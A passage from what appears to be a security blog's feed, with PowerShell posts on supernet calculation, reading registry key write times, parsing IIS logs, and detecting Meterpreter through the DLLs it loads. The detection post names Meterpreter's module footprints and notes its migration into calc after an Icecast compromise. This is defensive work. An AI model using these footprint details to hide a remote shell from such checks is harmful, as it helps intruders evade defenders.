&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp; # if a full supernet is found, then ...&lt;BR&gt;&amp;nbsp; # a "full" supernet contains all of the /8 networks to fill the supernet&lt;BR&gt;&amp;nbsp; $records | group MaskedBits | ? { $_.Count -eq $supernetsize} | % {&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;We pipe the $records variable into Group-Object, where the grouping is done in the Masked Bits. All of the networks with matching Mask Bits will be put in a group. We then filter all groups that are full by using the Where-Object cmdlet to filter groups that have the required number of elements. If any make it through the filter they are piped into the ForEach-Object cmdlet, where we create the supernet.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $group = $_&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # create the supernet object and set the properties&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet = "" | Select Prefix,Bits,MaskBits,CIDR&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.Bits = $group.Name.PadRight(8, "0")&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.Prefix = [Convert]::ToByte($supernet.Bits, 2)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.MaskBits = $i&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernet.CIDR = "$($supernet.Prefix).0.0.0/$($supernet.MaskBits)"&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # add the supernet to the collection of supernets&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $supernets += $supernet&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # remove the networks from the full network collection if they were just added as a supernet&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $records = $records | ? { $_.Bits.SubString(0,$i) -ne $group.Name }&lt;BR&gt;&amp;nbsp; }&lt;BR&gt;}&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;First we set a the $group variable equal to the current group, $_ represents the group passed into the ForEach-Object cmdlet. Next, we create a variable to hold the supernet and set the properties of the supernet. The Bits property is the masked bits, the Prefix is the decimal equivalent of the masked bits, the Mask Bits is the number of bits used in the mask, and CIDR is just a pretty version of the Prefix and the Mask Bits. For example, the fourth pass through the For loop uses four bits for the mask. It finds a full supernet matching the four leftmost bits 0101. The supernet Bits are 01010000, Prefix is 80, Masked Bits is 4, and the CIDR is 80.0.0.0/4.&lt;/P&gt;
&lt;P&gt;The supernet is added to the collection of supernets. We then need to remove the networks in the supernet from the $records variable so we don't use them again. This is done by filtering the $records variable for all networks that match our masked bits. In the case above, we would remove all networks that start with 0101xxxx.&lt;/P&gt;
&lt;P&gt;The loop then starts over with a slightly bigger mask which looks from smaller supernets.&lt;/P&gt;
&lt;P&gt;All we have left to do is output the results.&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New"&gt;#output the results&lt;BR&gt;$supernets | Sort Bits | Select Prefix,Bits,MaskBits,CIDR&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Results:&lt;BR&gt;&lt;FONT face="Courier New"&gt;Prefix Bits&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MaskBits CIDR&lt;BR&gt;------ ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -------- ----&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 00000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 0.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 00000010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 2.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5 00000101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 5.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10 00001010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 10.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 14 00001110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 14.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 23 00010111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 23.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 27 00011011&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 27.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 31 00011111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 31.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 36 00100100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 36.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 39 00100111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 39.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 41 00101001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 41.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 42 00101010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 42.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 46 00101110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 46.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 49 00110001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 49.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 58 00111010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 58.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 60 00111100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 60.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 62 00111110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 62.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 77 01001101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 77.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 78 01001110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 78.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80 01010000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4 80.0.0.0/4&lt;BR&gt;&amp;nbsp;&amp;nbsp; 100 01100100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6 100.0.0.0/6&lt;BR&gt;&amp;nbsp;&amp;nbsp; 104 01101000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 104.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 106 01101010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 106.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 109 01101101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 109.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 110 01101110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 110.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 112 01110000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4 112.0.0.0/4&lt;BR&gt;&amp;nbsp;&amp;nbsp; 175 10101111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 175.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 176 10110000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5 176.0.0.0/5&lt;BR&gt;&amp;nbsp;&amp;nbsp; 185 10111001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 185.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 186 10111010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 186.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 189 10111101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 189.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 190 10111110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 190.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 193 11000001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 193.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 194 11000010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 194.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 197 11000101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 197.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 200 11001000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6 200.0.0.0/6&lt;BR&gt;&amp;nbsp;&amp;nbsp; 210 11010010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 210.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 212 11010100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 212.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 217 11011001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 217.0.0.0/8&lt;BR&gt;&amp;nbsp;&amp;nbsp; 218 11011010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7 218.0.0.0/7&lt;BR&gt;&amp;nbsp;&amp;nbsp; 220 11011100&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6 220.0.0.0/6&lt;BR&gt;&amp;nbsp;&amp;nbsp; 224 11100000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3 224.0.0.0/3&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;I hope that helps.&lt;/P&gt;</content></entry><entry><title>Getting registry last write time with PowerShell</title><link rel="alternate" href="http://blog.securitywhole.com/2010/02/02/getting-registry-last-write-time-with-powershell.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2010-02-02:7d7a1af2-dc38-4e35-837e-8e72443c3029</id><author><name>Tim Medin</name></author><updated>2010-02-02T23:14:00Z</updated><published>2010-02-02T23:14:00Z</published><content type="html">&lt;P&gt;All registry keys have a value associated with called the Last Write Time. This is analogous to the last modification time for a file. When ever the registry key or one if its values has been created, modified, or deleted the value is updated to the current local system time. Unfortunately, there is no Last Write Time associated with a registry value, but it can be infered from the Last Write Time of the key.&lt;/P&gt;
&lt;P&gt;Here is a PowerShell script to read the Last Write Time for a registry key.&lt;/P&gt;
&lt;P&gt;Usage:&lt;/P&gt;&lt;PRE&gt;Get-RegKeyLastWriteTime.ps1 &amp;lt;Key&amp;gt; &amp;lt;SubKey&amp;gt;&lt;/PRE&gt;
&lt;P&gt;Example:&lt;/P&gt;&lt;PRE&gt;Get-RegKeyLastWriteTime.ps1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion&lt;/PRE&gt;
&lt;P&gt;Output:&lt;/P&gt;
&lt;P&gt;&lt;PRE&gt;Key                         LastWriteTime
---                         -------------
AdminDebug                  10/28/2009 7:50:51 PM
App Management              7/14/2009 4:41:12 AM
App Paths                   1/22/2010 2:07:18 PM
Applets                     7/14/2009 4:41:12 AM
Audio                       7/14/2009 4:41:12 AM
Authentication              7/14/2009 4:41:12 AM
BitLocker                   7/14/2009 4:41:12 AM
...&lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Get-RegKeyLastWriteTime.ps1 Script:&lt;/P&gt;
&lt;P&gt;&lt;PRE&gt;param (	[string] $Key, [string] $SubKey )

switch ($Key) {
    "HKCR" { $searchKey = 0x80000000} #HK Classes Root
    "HKCU" { $searchKey = 0x80000001} #HK Current User
    "HKLM" { $searchKey = 0x80000002} #HK Local Machine
    "HKU"  { $searchKey = 0x80000003} #HK Users
    "HKCC" { $searchKey = 0x80000005} #HK Current Config
    default { 
        #throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
    }
}


$KEYQUERYVALUE = 0x1
$KEYREAD = 0x19
$KEYALLACCESS = 0x3F

$sig1 = @'
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
  public static extern int RegOpenKeyEx(
    int hKey,
    string subKey,
    int ulOptions,
    int samDesired,
    out int hkResult);
'@
$type1 = Add-Type -MemberDefinition $sig1 -Name Win32Utils `
    -Namespace RegOpenKeyEx -Using System.Text -PassThru

$sig2 = @'
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
extern public static int RegEnumKeyEx(
    int hkey,
    int index,
    StringBuilder lpName,
    ref int lpcbName,
    int reserved,
    int lpClass,
    int lpcbClass,
    out long lpftLastWriteTime);
'@
$type2 = Add-Type -MemberDefinition $sig2 -Name Win32Utils `
    -Namespace RegEnumKeyEx -Using System.Text -PassThru

$sig3 = @'
[DllImport("advapi32.dll", SetLastError=true)]
public static extern int RegCloseKey(
    int hKey);
'@
$type3 = Add-Type -MemberDefinition $sig3 -Name Win32Utils `
    -Namespace RegCloseKey -Using System.Text -PassThru


$hKey = new-object int
$result = $type1::RegOpenKeyEx($searchKey, $SubKey, 0, $KEYREAD, [ref] $hKey)

#initialize variables
$builder = New-Object System.Text.StringBuilder 1024
$index = 0
$length = [int] 1024
$time = New-Object Long

#234 means more info, 0 means success. Either way, keep reading
while ( 0,234 -contains $type2::RegEnumKeyEx($hKey, $index++, `
    $builder, [ref] $length, $null, $null, $null, [ref] $time) )
{
    #create output object
    $o = "" | Select Key, LastWriteTime
    $o.Key = $builder.ToString()
    $o.LastWriteTime = (Get-Date $time).AddYears(1600)
    $o

    #reinitialize for next time through the loop  
    $length = [int] 1024
    $builder = New-Object System.Text.StringBuilder 1024
}

$result = $type3::RegCloseKey($hKey);&lt;/PRE&gt;&lt;/P&lt; body&gt;</content></entry><entry><title>Finding Meterpreter</title><link rel="alternate" href="http://blog.securitywhole.com/2010/01/31/finding-meterpreter.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2010-01-31:5e3a7c1b-8004-4039-a655-30719d4d72c6</id><author><name>Tim Medin</name></author><updated>2010-02-01T00:52:00Z</updated><published>2010-02-01T00:52:00Z</published><content type="html">In our recent post on the Command Line Kung Fu blog, &lt;A href="http://blog.commandlinekungfu.com/2010/01/episode-78-advanced-process-whack-mole.html"&gt;Advanced Process Whack-a-Mole&lt;/A&gt;, we tried to find meterpreter using these two commands:&lt;BR&gt;&lt;BR&gt;Windows command line:&lt;BR&gt;&lt;PRE&gt;C:\&amp;gt; tasklist /FI "modules eq metsrv.dll"&lt;/PRE&gt;PowerShell&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(metsrv.dll)*" }&lt;/PRE&gt;In version MetaSploit 3.3, and presumably future versions, the metsrv.dll is not visible due to &lt;A href="http://www.darkoperator.com/blog/2009/7/14/meterpreter-stealthier-than-ever.html"&gt;Reflective DLL injection&lt;/A&gt;. It does work on v2 and v3.0-3.2.&amp;nbsp;However, there are still footprints of meterpreter in v3.3. Two other dll's are loaded with meterpreter that many processes don't load.&lt;BR&gt;&lt;PRE&gt;C:\WINDOWS\system32\rsaenh.dll&lt;BR&gt;C:\WINDOWS\system32\IPHLPAPI.DLL&lt;/PRE&gt;We can look for processes that have these two dll's loaded using either of these two commands.&lt;BR&gt;&lt;BR&gt;Windows command line:&lt;BR&gt;&lt;PRE&gt;C:\&amp;gt; tasklist /fi "MODULES eq rsaenh.dll" /fi "MODULES eq iphlpapi.dll"&lt;/PRE&gt;PowerShell&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" &lt;BR&gt;  -and $_.Modules -like "*(iphlpapi.dll)*"}&lt;/PRE&gt;The problem is, some processes load these dll's so it isn't a 100% sign of pwnage. The processes include:&lt;BR&gt;&lt;PRE&gt;explorer.exe&lt;BR&gt;iexplore.exe&lt;BR&gt;lsass.exe&lt;BR&gt;svchost.exe&lt;BR&gt;winlogon.exe&lt;/PRE&gt;If IE were compromised it wouldn't be obvious, but it is obvious if Icecast was.&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" &lt;BR&gt;  -and $_.Modules -like "*(iphlpapi.dll)*"} | select ProcessName&lt;BR&gt;&lt;BR&gt;ProcessName&lt;BR&gt;-----------&lt;BR&gt;explorer&lt;BR&gt;&lt;STRONG&gt;Icecast2&lt;/STRONG&gt;&lt;BR&gt;IEXPLORE&lt;BR&gt;lsass&lt;BR&gt;svchost&lt;BR&gt;svchost&lt;BR&gt;svchost&lt;BR&gt;winlogon&lt;/PRE&gt;It is also apparent if meterpreter has been migrated to a process that doesn't normally load the dll's. In my testing I migrated to calc. Here are the results now.&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" &lt;BR&gt;  -and $_.Modules -like "*(iphlpapi.dll)*"} | select ProcessName&lt;BR&gt;&lt;BR&gt;ProcessName&lt;BR&gt;-----------&lt;BR&gt;&lt;STRONG&gt;calc&lt;/STRONG&gt;&lt;BR&gt;explorer&lt;BR&gt;&lt;STRONG&gt;Icecast2&lt;/STRONG&gt;&lt;BR&gt;IEXPLORE&lt;BR&gt;lsass&lt;BR&gt;svchost&lt;BR&gt;svchost&lt;BR&gt;svchost&lt;BR&gt;winlogon&lt;/PRE&gt;If we had a baseline of processes that load these dll's then we can use PowerShell to filter out processes that don't normally load the dll's.&lt;BR&gt;&lt;PRE&gt;PS C:\&amp;gt; Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" &lt;BR&gt;  -and $_.Modules -like "*(iphlpapi.dll)*" -and &lt;BR&gt;  "explorer","iexplore","lsass","svchost","winlogon" -notcontains&amp;nbsp; $_.ProcessName }&lt;BR&gt;&lt;BR&gt;ProcessName&lt;BR&gt;-----------&lt;BR&gt;calc&lt;BR&gt;Icecast2&lt;/PRE&gt;
&lt;P&gt;In this example Icecast2 was the initial point of compromise and meterpreter has migrated to calc.&lt;BR&gt;&lt;BR&gt;While this isn't a perfect way to find meterpreter it is better than nothing.&lt;BR&gt;&lt;BR&gt;UPDATE:&lt;BR&gt;According to Stephen Fewer, one of the MetaSploit developers:&lt;BR&gt;iphlpapi.dll is imported by the meterpreters stdapi extension for the route and ipconfig commands.&lt;/P&gt;
&lt;P&gt;rsaenh.dll (The Microsoft Enhanced Cryptographic Provider DLL) is being loaded via advapi32.dll after a call from the openssl subsystem within meterpreter calling advapi32!CryptAcquireContext[1]&lt;/P&gt;</content></entry><entry><title>PowerShell IIS Log Objectifier</title><link rel="alternate" href="http://blog.securitywhole.com/2010/01/18/powershell-iis-log-parser.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2010-01-18:55d5326d-28c0-4ee9-a0b7-4212691d25f5</id><author><name>Tim Medin</name></author><updated>2010-01-18T21:07:00Z</updated><published>2010-01-18T21:07:00Z</published><content type="html">This script will read the W3C Extended Log File Format with the default logging options. If you add or remove columns from your log then you will have to modify this script.&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt; &lt;BR&gt;&lt;BR&gt;################################################################&lt;BR&gt;# Description: IIS Log Importer&lt;BR&gt;# Version: 1.0 &lt;BR&gt;# Author: Tim Medin&lt;BR&gt;# Email: TimMedin A@T securitywhole D.O.T com&lt;BR&gt;# Note: This script will read the W3C Extended Log File Format&lt;BR&gt;# with the default logging options. If you add or remove columns&lt;BR&gt;# from your log then you will have to modify this script.&lt;BR&gt;################################################################&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;BR&gt;param&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;BR&gt;&amp;nbsp; [&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;string&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;] &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Path&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;&lt;BR&gt;[&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;&lt;FONT color=#008080 size=2 face="Courier New"&gt;regex&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;]&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$regex&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;'\s*(?&amp;lt;date&amp;gt;\S+)\s+(?&amp;lt;time&amp;gt;\S+)\s+(?&amp;lt;sitename&amp;gt;\S+)\s+(?&amp;lt;computername&amp;gt;\S+)\s+(?&amp;lt;ip&amp;gt;\S+)\s+(?&amp;lt;method&amp;gt;\S+)\s+(?&amp;lt;uristem&amp;gt;\S+)\s+(?&amp;lt;uriquery&amp;gt;\S+)\s+(?&amp;lt;port&amp;gt;\S+)\s+(?&amp;lt;username&amp;gt;\S+)\s+(?&amp;lt;sourceip&amp;gt;\S+)\s+(?&amp;lt;UserAgent&amp;gt;\S+)\s+(?&amp;lt;status&amp;gt;\S+)\s+(?&amp;lt;substatus&amp;gt;\S+)\s+(?&amp;lt;win32status&amp;gt;\S*)'&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;B&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;BR&gt;Get-Content&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Path&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | &lt;/FONT&gt;&lt;/FONT&gt;&lt;B&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;Select-String&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;I&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;-Pattern&lt;/I&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"^[^#]"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | &lt;/FONT&gt;&lt;/FONT&gt;&lt;B&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;%&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&amp;nbsp; 